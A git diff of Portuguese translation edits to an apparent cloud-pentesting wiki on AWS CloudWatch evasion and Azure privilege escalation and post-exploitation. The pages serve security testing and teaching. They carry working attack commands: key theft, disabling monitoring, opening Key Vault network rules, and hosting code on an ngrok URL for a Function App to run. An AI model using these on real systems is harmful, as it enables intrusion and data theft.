```bash @@ -302,7 +302,7 @@ Um atacante poderia comprometer a capacidade de detectar e responder a padrões aws cloudwatch delete-anomaly-detector [--cli-input-json | --namespace --metric-name --dimensions --stat ] aws cloudwatch put-anomaly-detector [--cli-input-json | --namespace --metric-name --dimensions --stat --configuration --metric-characteristics ] ``` -O seguinte exemplo mostra como tornar um detector de anomalias de métricas ineficaz. Este detector de anomalias de métricas monitora a utilização média da CPU de uma instância EC2 específica, e apenas adicionando o parâmetro “ExcludedTimeRanges” com o intervalo de tempo desejado, seria suficiente para garantir que o detector de anomalias não analise ou alerte sobre quaisquer dados relevantes durante esse período. +O seguinte exemplo mostra como tornar um detector de anomalias de métricas ineficaz. Este detector de anomalias de métricas monitora a utilização média da CPU de uma instância EC2 específica e, apenas adicionando o parâmetro “ExcludedTimeRanges” com o intervalo de tempo desejado, seria suficiente para garantir que o detector de anomalias não analise ou alerte sobre quaisquer dados relevantes durante esse período. {{#tabs }} {{#tab name="Original Metric Anomaly Detector" }} @@ -374,12 +374,12 @@ aws cloudwatch put-managed-insight-rules --managed-rules ### **`cloudwatch:DisableInsightRules`, `cloudwatch:EnableInsightRules`** -Ao desabilitar regras de insight críticas, um atacante poderia efetivamente cegar a organização em relação a métricas chave de desempenho e segurança. Por outro lado, ao habilitar ou configurar regras enganosas, poderia ser possível gerar dados falsos, criar ruído ou ocultar atividades maliciosas. +Ao desabilitar regras de insight críticas, um atacante poderia efetivamente cegar a organização em relação a métricas chave de desempenho e segurança. Por outro lado, ao habilitar ou configurar regras enganosas, poderia ser possível gerar dados falsos, criar ruído ou ocultar atividade maliciosa. ```bash aws cloudwatch disable-insight-rules --rule-names aws cloudwatch enable-insight-rules --rule-names ``` -**Impacto Potencial**: Confusão entre a equipe de operações, levando a respostas atrasadas a problemas reais e ações desnecessárias baseadas em alertas falsos. +**Impacto Potencial**: Confusão entre a equipe de operações, levando a respostas atrasadas a problemas reais e ações desnecessárias baseadas em falsos alertas. ### **`cloudwatch:DeleteMetricStream` , `cloudwatch:PutMetricStream` , `cloudwatch:PutMetricData`** @@ -412,7 +412,7 @@ aws cloudwatch start-metric-streams --names ### **`cloudwatch:TagResource`, `cloudwatch:UntagResource`** -Um atacante poderia adicionar, modificar ou remover tags de recursos do CloudWatch (atualmente apenas alarmes e regras do Contributor Insights). Isso poderia interromper as políticas de controle de acesso da sua organização baseadas em tags. +Um atacante poderia adicionar, modificar ou remover tags de recursos do CloudWatch (atualmente apenas alarmes e regras do Contributor Insights). Isso poderia interromper as políticas de controle de acesso da sua organização com base em tags. ```bash aws cloudwatch tag-resource --resource-arn --tags aws cloudwatch untag-resource --resource-arn --tag-keys diff --git a/src/pentesting-cloud/azure-security/az-persistence/az-cloud-shell-persistence.md b/src/pentesting-cloud/azure-security/az-persistence/az-cloud-shell-persistence.md index 4875b54d4..162bb592c 100644 --- a/src/pentesting-cloud/azure-security/az-persistence/az-cloud-shell-persistence.md +++ b/src/pentesting-cloud/azure-security/az-persistence/az-cloud-shell-persistence.md @@ -2,7 +2,7 @@ {{#include ../../../banners/hacktricks-training.md}} -## Persistência do Cloud Shell +## Cloud Shell Persistence O Azure Cloud Shell oferece acesso via linha de comando para gerenciar recursos do Azure com armazenamento persistente e autenticação automática. Os atacantes podem explorar isso colocando backdoors no diretório home persistente: diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-cosmosDB-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-cosmosDB-post-exploitation.md index 9274bb3df..96f061d45 100644 --- a/src/pentesting-cloud/azure-security/az-post-exploitation/az-cosmosDB-post-exploitation.md +++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-cosmosDB-post-exploitation.md @@ -9,7 +9,6 @@ Para mais informações sobre SQL Database, consulte: ../az-services/az-cosmosDB.md {{#endref}} - ### `Microsoft.DocumentDB/databaseAccounts/read` && `Microsoft.DocumentDB/databaseAccounts/write` Com esta permissão, você pode criar ou atualizar contas do Azure Cosmos DB. Isso inclui modificar configurações em nível de conta, adicionar ou remover regiões, alterar níveis de consistência e habilitar ou desabilitar recursos como gravações em várias regiões. ```bash @@ -56,7 +55,7 @@ az cosmosdb failover-priority-change \ ``` ### `Microsoft.DocumentDB/databaseAccounts/regenerateKey/action` -Com esta permissão, você pode regenerar as chaves primárias ou secundárias para uma conta do Azure Cosmos DB. Isso é tipicamente usado para aumentar a segurança substituindo chaves antigas, mas pode interromper o acesso para serviços ou aplicações que dependem das chaves atuais. +Com esta permissão, você pode regenerar as chaves primárias ou secundárias para uma conta do Azure Cosmos DB. Isso é tipicamente usado para aumentar a segurança substituindo chaves antigas, mas pode interromper o acesso para serviços ou aplicativos que dependem das chaves atuais. ```bash az cosmosdb keys regenerate \ --name \ diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-logic-apps-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-logic-apps-post-exploitation.md index c7975eb57..54325a68f 100644 --- a/src/pentesting-cloud/azure-security/az-post-exploitation/az-logic-apps-post-exploitation.md +++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-logic-apps-post-exploitation.md @@ -10,7 +10,7 @@ Para mais informações sobre logic apps, consulte: {{#endref}} ### `Microsoft.Logic/workflows/read`, `Microsoft.Logic/workflows/write` && `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action` -Com essas permissões, você pode modificar fluxos de trabalho do Logic App e gerenciar suas identidades. Especificamente, você pode atribuir ou remover identidades gerenciadas atribuídas pelo sistema e por usuários aos fluxos de trabalho, o que permite que o Logic App se autentique e acesse outros recursos do Azure sem credenciais explícitas. +Com essas permissões, você pode modificar os fluxos de trabalho do Logic App e gerenciar suas identidades. Especificamente, você pode atribuir ou remover identidades gerenciadas atribuídas pelo sistema e por usuários aos fluxos de trabalho, o que permite que o Logic App se autentique e acesse outros recursos do Azure sem credenciais explícitas. ```bash az logic workflow identity remove/assign \ --name \ @@ -19,7 +19,7 @@ az logic workflow identity remove/assign \ --user-assigned "/subscriptions//resourceGroups//providers/Microsoft.ManagedIdentity/userAssignedIdentities/" ``` ### `Microsoft.Web/sites/read`, `Microsoft.Web/sites/write` -Com essas permissões, você pode criar ou atualizar Logic Apps hospedadas em um App Service Plan. Isso inclui modificar configurações, como habilitar ou desabilitar a aplicação de HTTPS. +Com essas permissões, você pode criar ou atualizar Logic Apps hospedadas em um App Service Plan. Isso inclui modificar configurações, como habilitar ou desabilitar a aplicação forçada de HTTPS. ```bash az logicapp update \ --resource-group \ @@ -35,7 +35,7 @@ az webapp start/stop/restart \ ``` ### `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/read` && `Microsoft.Web/sites/config/write` -Com esta permissão, você pode configurar ou modificar as configurações para aplicativos da web, incluindo Logic Apps hospedadas em um App Service Plan. Isso permite alterações nas configurações do aplicativo, strings de conexão, configurações de autenticação e mais. +Com esta permissão, você pode configurar ou modificar as configurações para aplicativos da web, incluindo Logic Apps hospedados em um App Service Plan. Isso permite alterações nas configurações do aplicativo, strings de conexão, configurações de autenticação e mais. ```bash az logicapp config appsettings set \ --name \ diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-mysql-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-mysql-post-exploitation.md index 46c013fad..8d2d8f47b 100644 --- a/src/pentesting-cloud/azure-security/az-post-exploitation/az-mysql-post-exploitation.md +++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-mysql-post-exploitation.md @@ -58,7 +58,7 @@ az mysql flexible-server firewall-rule update \ ``` ### `Microsoft.DBforMySQL/flexibleServers/resetGtid/action` -Com esta permissão, você pode redefinir o GTID (Identificador de Transação Global) para uma instância do MySQL Flexible Server no Azure. Redefinir o GTID invalidará todos os backups automatizados, sob demanda e geo-backups que foram feitos antes da ação de redefinição. Após a redefinição do GTID, você não poderá realizar PITR (restauração em um ponto no tempo) usando o ponto de restauração mais rápido ou por ponto de restauração personalizado se o tempo de restauração selecionado for anterior ao tempo de redefinição do GTID. E a restauração geo bem-sucedida será possível apenas após 5 dias. +Com esta permissão, você pode redefinir o GTID (Identificador de Transação Global) para uma instância do MySQL Flexible Server no Azure. Redefinir o GTID invalidará todos os backups automatizados, sob demanda e geo-backups que foram feitos antes da ação de redefinição. Após a redefinição do GTID, você não poderá realizar PITR (restauração ponto-a-ponto) usando o ponto de restauração mais rápido ou por ponto de restauração personalizado se o tempo de restauração selecionado for anterior ao tempo de redefinição do GTID. E a restauração geo-sucedida será possível apenas após 5 dias. ```bash az mysql flexible-server reset-gtid \ --name \ diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-postgresql-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-postgresql-post-exploitation.md index 6bfc81ae6..bf21eafb1 100644 --- a/src/pentesting-cloud/azure-security/az-post-exploitation/az-postgresql-post-exploitation.md +++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-postgresql-post-exploitation.md @@ -11,7 +11,7 @@ Para mais informações sobre o Banco de Dados PostgreSQL, consulte: ### `Microsoft.DBforPostgreSQL/flexibleServers/databases/write` && `Microsoft.DBforPostgreSQL/flexibleServers/databases/read` -Com esta permissão, você pode criar novos bancos de dados dentro de uma instância do Postgres Flexible Server no Azure. Embora essa ação em si não modifique recursos existentes, a criação excessiva ou não autorizada de bancos de dados pode levar ao consumo de recursos ou ao potencial uso indevido do servidor. +Com esta permissão, você pode criar novos bancos de dados dentro de uma instância do Postgres Flexible Server no Azure. Embora esta ação em si não modifique recursos existentes, a criação excessiva ou não autorizada de bancos de dados pode levar ao consumo de recursos ou ao potencial uso indevido do servidor. ```bash az postgres flexible-server db create \ --server-name \ @@ -38,7 +38,7 @@ az postgres flexible-server threat-protection-policy update \ ``` ### `Microsoft.DBforPostgreSQL/flexibleServers/firewallRules/write`, `Microsoft.DBforPostgreSQL/flexibleServers/read` && `Microsoft.DBforPostgreSQL/flexibleServers/firewallRules/read` -Com esta permissão, você pode criar ou modificar regras de firewall para uma instância do Postgres Flexible Server no Azure. Isso permite o controle sobre quais endereços IP ou intervalos podem acessar o servidor. O uso não autorizado ou inadequado dessa permissão pode expor o servidor a acessos indesejados ou maliciosos. +Com esta permissão, você pode criar ou modificar regras de firewall para uma instância do Postgres Flexible Server no Azure. Isso permite o controle sobre quais endereços IP ou faixas podem acessar o servidor. O uso não autorizado ou inadequado dessa permissão pode expor o servidor a acessos indesejados ou maliciosos. ```bash # Create Rule az postgres flexible-server firewall-rule create \ diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-cosmosDB-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-cosmosDB-privesc.md index 27511ed84..22d97172a 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-cosmosDB-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-cosmosDB-privesc.md @@ -44,7 +44,7 @@ az cosmosdb sql role assignment create \ --scope "/" ``` ### `Microsoft.DocumentDB/databaseAccounts/listKeys/action` -Com esta permissão, você pode recuperar as chaves primária e secundária para uma conta do Azure Cosmos DB. Essas chaves fornecem acesso total à conta do banco de dados e seus recursos, permitindo ações como leituras, gravações de dados e alterações de configuração. +Com esta permissão, você pode recuperar as chaves primária e secundária para uma conta do Azure Cosmos DB. Essas chaves fornecem acesso total à conta do banco de dados e seus recursos, permitindo ações como leituras de dados, gravações e alterações de configuração. ```bash az cosmosdb keys list \ --name \ diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md index b4bee7b3a..3f6a47f96 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md @@ -10,11 +10,11 @@ Verifique a página a seguir para mais informações: ../az-services/az-function-apps.md {{#endref}} -### Leitura/Escrita de Bucket +### Leitura/Gravação de Bucket Com permissões para ler os contêineres dentro da Conta de Armazenamento que armazena os dados da função, é possível encontrar **diferentes contêineres** (personalizados ou com nomes pré-definidos) que podem conter **o código executado pela função**. -Uma vez que você encontra onde o código da função está localizado, se você tiver permissões de escrita sobre ele, pode fazer a função executar qualquer código e escalar privilégios para as identidades gerenciadas anexadas à função. +Uma vez que você encontra onde o código da função está localizado, se você tiver permissões de gravação sobre ele, pode fazer a função executar qualquer código e escalar privilégios para as identidades gerenciadas anexadas à função. - **`File Share`** (`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` e `WEBSITE_CONTENTSHARE`) @@ -55,14 +55,14 @@ az functionapp config appsettings list \ --name \ --resource-group ``` -Esta configuração geralmente conterá uma **URL SAS para download** do código da Conta de Armazenamento. +Esta configuração geralmente conterá uma **SAS URL para download** do código da Conta de Armazenamento. > [!CAUTION] > Com permissões suficientes para se conectar ao contêiner de blob que **contém o código em zip**, é possível executar código arbitrário na Função e escalar privilégios. - **`github-actions-deploy`** (`WEBSITE_RUN_FROM_PACKAGE)` -Assim como no caso anterior, se a implantação for feita via Github Actions, é possível encontrar a pasta **`github-actions-deploy`** na Conta de Armazenamento contendo um zip do código e uma URL SAS para o zip na configuração `WEBSITE_RUN_FROM_PACKAGE`. +Assim como no caso anterior, se a implantação for feita via Github Actions, é possível encontrar a pasta **`github-actions-deploy`** na Conta de Armazenamento contendo um zip do código e uma SAS URL para o zip na configuração `WEBSITE_RUN_FROM_PACKAGE`. - **`scm-releases`**`(WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` e `WEBSITE_CONTENTSHARE`) @@ -193,7 +193,7 @@ az functionapp config appsettings list \ --name \ --resource-group ``` -- Crie o código que você deseja que a função execute e hospede-o publicamente +- Crie o código que você deseja que a função execute e o hospede publicamente ```bash # Write inside /tmp/web/function_app.py the code of the function cd /tmp/web/function_app.py @@ -205,7 +205,7 @@ ngrok http 8000 ``` - Modifique a função, mantenha os parâmetros anteriores e adicione no final a configuração **`WEBSITE_RUN_FROM_PACKAGE`** apontando para a URL com o **zip** contendo o código. -O seguinte é um exemplo das **minhas próprias configurações que você precisará alterar os valores para os seus**, note no final os valores `"WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"`, é aqui que eu estava hospedando o aplicativo. +O seguinte é um exemplo das minhas **próprias configurações que você precisará alterar os valores para os seus**, note no final os valores `"WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"`, é aqui que eu estava hospedando o aplicativo. ```bash # Modify the function az rest --method PUT \ @@ -215,7 +215,7 @@ az rest --method PUT \ ``` ### `Microsoft.Web/sites/hostruntime/vfs/write` -Com esta permissão, é **possível modificar o código de uma aplicação** através do console da web (ou através do seguinte endpoint da API): +Com essa permissão, é **possível modificar o código de uma aplicação** através do console da web (ou através do seguinte endpoint da API): ```bash # This is a python example, so we will be overwritting function_app.py # Store in /tmp/body the raw python code to put in the function @@ -240,7 +240,7 @@ az functionapp deployment user set \ --user-name DeployUser123456 g \ --password 'P@ssw0rd123!' ``` -- Se as credenciais estão **REDACTED** +- Se as credenciais de **REDACTED** Se você ver que essas credenciais estão **REDACTED**, é porque você **precisa habilitar a opção de autenticação básica do SCM** e para isso você precisa da segunda permissão (`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write):` ```bash @@ -264,7 +264,7 @@ az rest --method PUT \ ``` - **Método SCM** -Então, você pode acessar com essas **credenciais de autenticação básica na URL do SCM** do seu aplicativo de função e obter os valores das variáveis de ambiente: +Então, você pode acessar com essas **credenciais de autenticação básica para a URL do SCM** do seu aplicativo de função e obter os valores das variáveis de ambiente: ```bash # Get settings values curl -u ':' \ @@ -343,7 +343,7 @@ az functionapp config container set --name \ ``` ### `Microsoft.Web/sites/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`, `Microsoft.App/managedEnvironments/join/action`, (`Microsoft.Web/sites/read`, `Microsoft.Web/sites/operationresults/read`) -Com essas permissões, é possível **anexar uma nova identidade gerenciada pelo usuário a uma função**. Se a função fosse comprometida, isso permitiria escalar privilégios para qualquer identidade gerenciada pelo usuário. +Com essas permissões, é possível **anexar uma nova identidade gerenciada pelo usuário a uma função**. Se a função for comprometida, isso permitiria escalar privilégios para qualquer identidade gerenciada pelo usuário. ```bash az functionapp identity assign \ --name \ @@ -364,8 +364,8 @@ az functionapp config set --remote-debugging-enabled=True --name --re ``` ### Mudar repositório do Github -Tentei mudar o repositório do Github de onde a implantação está ocorrendo, executando os seguintes comandos, mas mesmo que tenha mudado, **o novo código não foi carregado** (provavelmente porque está esperando que a Github Action atualize o código).\ -Além disso, a **credencial federada da identidade gerenciada não foi atualizada**, permitindo o novo repositório, então parece que isso não é muito útil. +Tentei mudar o repositório do Github de onde a implantação está ocorrendo executando os seguintes comandos, mas mesmo que tenha mudado, **o novo código não foi carregado** (provavelmente porque está esperando que a Github Action atualize o código).\ +Além disso, a **credencial federada da identidade gerenciada não foi atualizada** permitindo o novo repositório, então parece que isso não é muito útil. ```bash # Remove current az functionapp deployment source delete \ diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-key-vault-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-key-vault-privesc.md index d5176e7bc..e790cd822 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-key-vault-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-key-vault-privesc.md @@ -29,4 +29,14 @@ az keyvault set-policy \ --certificate-permissions all \ --storage-permissions all ``` +### Modificar Restrições de Rede + +Pode ser possível que você tenha permissões suficientes para acessar dados sensíveis (como o valor de um segredo), mas não consegue acessá-los porque o cofre de chaves está restrito a uma rede específica. Se você tiver permissão para modificar as restrições de rede, pode adicionar seu IP à lista de IPs permitidos. +```bash +# Get the current network restrictions +az keyvault network-rule list --name + +# Add your IP to the list +az keyvault network-rule add --name --ip-address +``` {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-logic-apps-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-logic-apps-privesc.md index 214e09fdc..8dd0c0385 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-logic-apps-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-logic-apps-privesc.md @@ -33,7 +33,7 @@ az rest \ --headers "Content-Type=application/json" ``` ### (`Microsoft.Web/sites/read`, `Microsoft.Web/sites/basicPublishingCredentialsPolicies/read`, `Microsoft.Web/sites/write`, `Microsoft.Web/sites/config/list/action`) && (`Microsoft.Web/sites/start/action`) -Com essas permissões, você pode implantar fluxos de trabalho do Logic App usando implantações de arquivos ZIP. Essas permissões permitem ações como ler detalhes do aplicativo, acessar credenciais de publicação, escrever alterações e listar configurações do aplicativo. Juntamente com as permissões de início, você pode atualizar e implantar um novo Logic App com o conteúdo desejado. +Com essas permissões, você pode implantar fluxos de trabalho do Logic App usando implantações de arquivo ZIP. Essas permissões permitem ações como ler detalhes do aplicativo, acessar credenciais de publicação, escrever alterações e listar configurações do aplicativo. Juntamente com as permissões de início, você pode atualizar e implantar um novo Logic App com o conteúdo desejado. ```bash az logicapp deployment source config-zip \ --name \ diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-mysql-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-mysql-privesc.md index 440cf5523..06e0be351 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-mysql-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-mysql-privesc.md @@ -24,7 +24,7 @@ az mysql flexible-server create \ --tier \ --version ``` -Por exemplo, essas permissões permitem alterar a senha do MySQL, útil, é claro, caso a autenticação do MySQL esteja habilitada. +Por exemplo, essas permissões permitem alterar a senha do MySQL, útil, é claro, no caso de a autenticação do MySQL estar habilitada. ```bash az mysql flexible-server update \ --resource-group \ @@ -37,7 +37,7 @@ az mysql flexible-server update --resource-group --server- ``` ### `Microsoft.DBforMySQL/flexibleServers/read`, `Microsoft.DBforMySQL/flexibleServers/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`, `Microsoft.DBforMySQL/flexibleServers/administrators/write` && `Microsoft.DBforMySQL/flexibleServers/administrators/read` -Com esta permissão, você pode configurar administradores do Azure Active Directory (AD) para um MySQL Flexible Server. Isso pode ser explorado configurando-se ou configurando outra conta como o administrador do AD, concedendo controle administrativo total sobre o servidor MySQL. É importante que o flexible-server tenha identidades gerenciadas atribuídas a um usuário para uso. +Com esta permissão, você pode configurar administradores do Azure Active Directory (AD) para um Servidor Flexível MySQL. Isso pode ser explorado configurando-se ou configurando outra conta como o administrador do AD, concedendo controle administrativo total sobre o servidor MySQL. É importante que o servidor flexível tenha identidades gerenciadas atribuídas a um usuário para serem utilizadas. ```bash az mysql flexible-server ad-admin create \ --resource-group \ diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-postgresql-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-postgresql-privesc.md index 0c187b9b7..943997501 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-postgresql-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-postgresql-privesc.md @@ -24,7 +24,7 @@ az postgres flexible-server create \ --tier \ --version ``` -Por exemplo, essas permissões permitem alterar a senha do PostgreSQL, útil, é claro, no caso de a autenticação do PostgreSQL estar habilitada. +Por exemplo, essas permissões permitem alterar a senha do PostgreSQL, útil, é claro, caso a autenticação do PostgreSQL esteja habilitada. ```bash az postgres flexible-server update \ --resource-group \ @@ -37,7 +37,7 @@ az postgres flexible-server update --resource-group --serv ``` ### `Microsoft.DBforPostgreSQL/flexibleServers/read`, `Microsoft.DBforPostgreSQL/flexibleServers/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`, `Microsoft.DBforPostgreSQL/flexibleServers/administrators/write` && `Microsoft.DBforPostgreSQL/flexibleServers/administrators/read` -Com essa permissão, você pode configurar administradores do Azure Active Directory (AD) para um Servidor Flexível PostgreSQL. Isso pode ser explorado configurando-se ou a outra conta como o administrador do AD, concedendo controle administrativo total sobre o servidor PostgreSQL. A atualização de um principal existente ainda não é suportada, então, se houver um criado, você deve excluí-lo primeiro. +Com essa permissão, você pode configurar administradores do Azure Active Directory (AD) para um Servidor Flexível PostgreSQL. Isso pode ser explorado configurando-se ou configurando outra conta como o administrador do AD, concedendo controle administrativo total sobre o servidor PostgreSQL. A atualização de um principal existente ainda não é suportada, então, se houver um criado, você deve excluí-lo primeiro. É importante que o servidor flexível tenha identidades gerenciadas atribuídas a um usuário para uso. ```bash diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-servicebus-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-servicebus-privesc.md index c2447cf6a..e67ac6091 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-servicebus-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-servicebus-privesc.md @@ -139,10 +139,10 @@ az servicebus namespace authorization-rule update \ ``` ## Referências -- https://learn.microsoft.com/en-us/azure/storage/queues/storage-powershell-how-to-use-queues -- https://learn.microsoft.com/en-us/rest/api/storageservices/queue-service-rest-api -- https://learn.microsoft.com/en-us/azure/storage/queues/queues-auth-abac-attributes -- https://learn.microsoft.com/en-us/azure/service-bus-messaging/service-bus-python-how-to-use-topics-subscriptions?tabs=passwordless -- https://learn.microsoft.com/en-us/azure/role-based-access-control/permissions/integration#microsoftservicebus +- https://learn.microsoft.com/pt-br/azure/storage/queues/storage-powershell-how-to-use-queues +- https://learn.microsoft.com/pt-br/rest/api/storageservices/queue-service-rest-api +- https://learn.microsoft.com/pt-br/azure/storage/queues/queues-auth-abac-attributes +- https://learn.microsoft.com/pt-br/azure/service-bus-messaging/service-bus-python-how-to-use-topics-subscriptions?tabs=passwordless +- https://learn.microsoft.com/pt-br/azure/role-based-access-control/permissions/integration#microsoftservicebus {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-sql-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-sql-privesc.md index 394a10deb..dacd6ecb3 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-sql-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-sql-privesc.md @@ -74,7 +74,7 @@ NOTA: É necessário ter o acesso público habilitado. ### `Microsoft.Sql/servers/administrators/write` && `Microsoft.Sql/servers/administrators/read` -Com essas permissões, você pode realizar privilege escalation em um ambiente Azure SQL Server acessando bancos de dados SQL e recuperando informações críticas. Usando o comando abaixo, um atacante ou usuário autorizado pode se definir ou definir outra conta como administrador do Azure AD. Se "Microsoft Entra Authentication Only" estiver habilitado, você poderá acessar o servidor e suas instâncias. Aqui está o comando para definir o administrador do Azure AD para um servidor SQL: +Com essas permissões, você pode privesc em um ambiente Azure SQL Server acessando bancos de dados SQL e recuperando informações críticas. Usando o comando abaixo, um atacante ou usuário autorizado pode se definir ou definir outra conta como administrador do Azure AD. Se "Microsoft Entra Authentication Only" estiver habilitado, você poderá acessar o servidor e suas instâncias. Aqui está o comando para definir o administrador do Azure AD para um servidor SQL: ```bash az sql server ad-admin create \ --server \ diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-storage-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-storage-privesc.md index f24626b50..6bdc24e91 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-storage-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-storage-privesc.md @@ -18,7 +18,7 @@ az storage account keys list --account-name ``` ### `Microsoft.Storage/storageAccounts/regenerateKey/action` -Um principal com esta permissão poderá renovar e obter o novo valor secreto das **chaves de acesso** das contas de armazenamento. Permitindo que o principal escale seus privilégios sobre as contas de armazenamento. +Um principal com esta permissão poderá renovar e obter o novo valor secreto das **chaves de acesso** das contas de armazenamento. Permitindo que o principal eleve seus privilégios sobre as contas de armazenamento. Além disso, na resposta, o usuário receberá o valor da chave renovada e também da não renovada: ```bash @@ -41,7 +41,7 @@ az storage account update --name --add networkRuleSet.ipRules value=< A primeira permissão permite **modificar políticas de imutabilidade** em contêineres e a segunda permite excluí-las. > [!NOTE] -> Observe que, se uma política de imutabilidade estiver em estado de bloqueio, você não poderá fazer nenhuma das duas ações. +> Observe que se uma política de imutabilidade estiver em estado de bloqueio, você não poderá fazer nenhuma das duas ações. ```bash az storage container immutability-policy delete \ --account-name \ @@ -70,7 +70,7 @@ Isso deve permitir que um usuário com essa permissão possa realizar ações de ### `Microsoft.Storage/storageAccounts/localusers/write (Microsoft.Storage/storageAccounts/localusers/read)` -Com essa permissão, um atacante pode criar e atualizar (se tiver a permissão `Microsoft.Storage/storageAccounts/localusers/read`) um novo usuário local para uma conta de Armazenamento do Azure (configurada com namespace hierárquico), incluindo especificar as permissões e o diretório inicial do usuário. Essa permissão é significativa porque permite que o atacante se conceda acesso a uma conta de armazenamento com permissões específicas, como leitura (r), gravação (w), exclusão (d) e listagem (l) e mais. Além disso, os métodos de autenticação que isso utiliza podem ser senhas geradas pelo Azure e pares de chaves SSH. Não há verificação se um usuário já existe, então você pode sobrescrever outros usuários que já estão lá. O atacante poderia escalar suas permissões e obter acesso SSH à conta de armazenamento, potencialmente expondo ou comprometendo dados sensíveis. +Com essa permissão, um atacante pode criar e atualizar (se tiver a permissão `Microsoft.Storage/storageAccounts/localusers/read`) um novo usuário local para uma conta de Armazenamento do Azure (configurada com namespace hierárquico), incluindo a especificação das permissões e do diretório inicial do usuário. Essa permissão é significativa porque permite que o atacante se conceda acesso a uma conta de armazenamento com permissões específicas, como leitura (r), gravação (w), exclusão (d) e listagem (l) e mais. Além disso, os métodos de autenticação que isso utiliza podem ser senhas geradas pelo Azure e pares de chaves SSH. Não há verificação se um usuário já existe, então você pode sobrescrever outros usuários que já estão lá. O atacante poderia escalar suas permissões e obter acesso SSH à conta de armazenamento, potencialmente expondo ou comprometendo dados sensíveis. ```bash az storage account local-user create \ --account-name \ @@ -96,7 +96,7 @@ sftp .@.blob.core.w ``` ### `Microsoft.Storage/storageAccounts/restoreBlobRanges/action`, `Microsoft.Storage/storageAccounts/blobServices/containers/read`, `Microsoft.Storage/storageAccounts/read` && `Microsoft.Storage/storageAccounts/listKeys/action` -Com essas permissões, um atacante pode restaurar um contêiner excluído especificando seu ID de versão excluída ou restaurar blobs específicos dentro de um contêiner, se eles foram excluídos suavemente anteriormente. Essa escalada de privilégio poderia permitir que um atacante recuperasse dados sensíveis que deveriam ser permanentemente excluídos, potencialmente levando a acessos não autorizados. +Com essas permissões, um atacante pode restaurar um contêiner excluído especificando seu ID de versão excluída ou recuperar blobs específicos dentro de um contêiner, se eles foram previamente excluídos de forma suave. Essa escalada de privilégio poderia permitir que um atacante recuperasse dados sensíveis que deveriam ter sido excluídos permanentemente, potencialmente levando a acessos não autorizados. ```bash #Restore the soft deleted container az storage container restore \ diff --git a/src/pentesting-cloud/azure-security/az-services/az-azuread.md b/src/pentesting-cloud/azure-security/az-services/az-azuread.md index 87956d6d7..4155f6ef8 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-azuread.md +++ b/src/pentesting-cloud/azure-security/az-services/az-azuread.md @@ -487,7 +487,7 @@ Os proprietários do grupo podem adicionar novos usuários ao grupo Add-AzureADGroupMember -ObjectId -RefObjectId -Verbose ``` > [!WARNING] -> Grupos podem ser dinâmicos, o que basicamente significa que **se um usuário cumprir certas condições, ele será adicionado a um grupo**. Claro, 